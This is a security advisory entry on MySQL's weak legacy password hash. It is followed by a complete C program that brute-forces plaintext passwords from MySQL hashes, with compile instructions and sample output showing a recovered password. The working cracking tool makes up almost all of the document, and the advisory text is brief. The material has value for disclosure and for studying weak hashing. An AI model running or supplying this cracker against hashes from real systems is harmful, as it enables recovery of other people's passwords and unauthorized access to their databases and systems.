source: http://www.securityfocus.com/bid/7500/info

MySQL has been reported to implement a weak password encryption algorithm. It has been reported that the MySQL function used to encrypt MySQL passwords makes just one pass over the password and employs a weak left shift based cipher. The hash may be cracked in little time using a bruteforce method.

An attacker may use information recovered in this way to aid in further attacks launched against the underlying system. 

/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
  i = -1;
  sum = 7;
  state1_ary[0] = 1345345333L;
  state2_ary[0] = 0x12345671L;

  while (1) {
    while (i < stop) {
      i++;
      pass_ary[i] = MIN_CHAR;
      step_ary[i] = (state1_ary[i] & 0x3f) + sum;
      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
      sum += MIN_CHAR;
      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
      state2_ary[i+1] = state2_ary[i]
        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
    }

    state1 = state1_ary[i+1];
    state2 = state2_ary[i+1];
    step = (state1 & 0x3f) + sum;
    xor1 = step*MIN_CHAR + (state1 << 8);
    xor2 = (state2 << 8) ^ state1;

    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
      newstate2 = state2 + (xor1 ^ xor2);
      newstate1 = state1 ^ xor1;

      newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
      div = (newstate1 & 0x3f) + sum + c;
      diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
      if (diff % div != 0) continue;
      d = diff / div;
      if (d < MIN_CHAR || d > MAX_CHAR) continue;

      div = (newstate3 & 0x3f) + sum + c + d;
      diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
      if (diff % div != 0) continue;
      e = diff / div;
      if (e < MIN_CHAR || e > MAX_CHAR) continue;

      pass_ary[i+1] = c;
      pass_ary[i+2] = d;
      pass_ary[i+3] = e;
      return 1;
    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
      sum -= MAX_CHAR;
      i--;
    }
    if (i < 0) break;
    pass_ary[i]++;
    xor_ary[i] += step_ary[i];
    sum++;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

  return 0;
}

void crack(char *hash)
{
  int i, len;
  u32 targ1, targ2, targ3;
  int pass[MAX_LEN];

  if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
    printf("Invalid password hash: %s\n", hash);
    return;
  }
  printf("Hash: %08lx%08lx\n", targ1, targ2);
  targ3 = targ2 - targ1;
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);

  for (len = 3; len <= MAX_LEN; len++) {
    printf("Trying length %d\n", len);
    if ( crack0(len-4, targ1, targ3, pass) ) {
      printf("Found pass: ");
      for (i = 0; i < len; i++)
        putchar(pass[i]);
      putchar('\n');
      break;
    }
  }
  if (len > MAX_LEN)
    printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
  int i;
  if (argc <= 1)
    printf("usage: %s hash\n", argv[0]);
  for (i = 1; i < argc; i++)
    crack(argv[i]);
  return 0;
}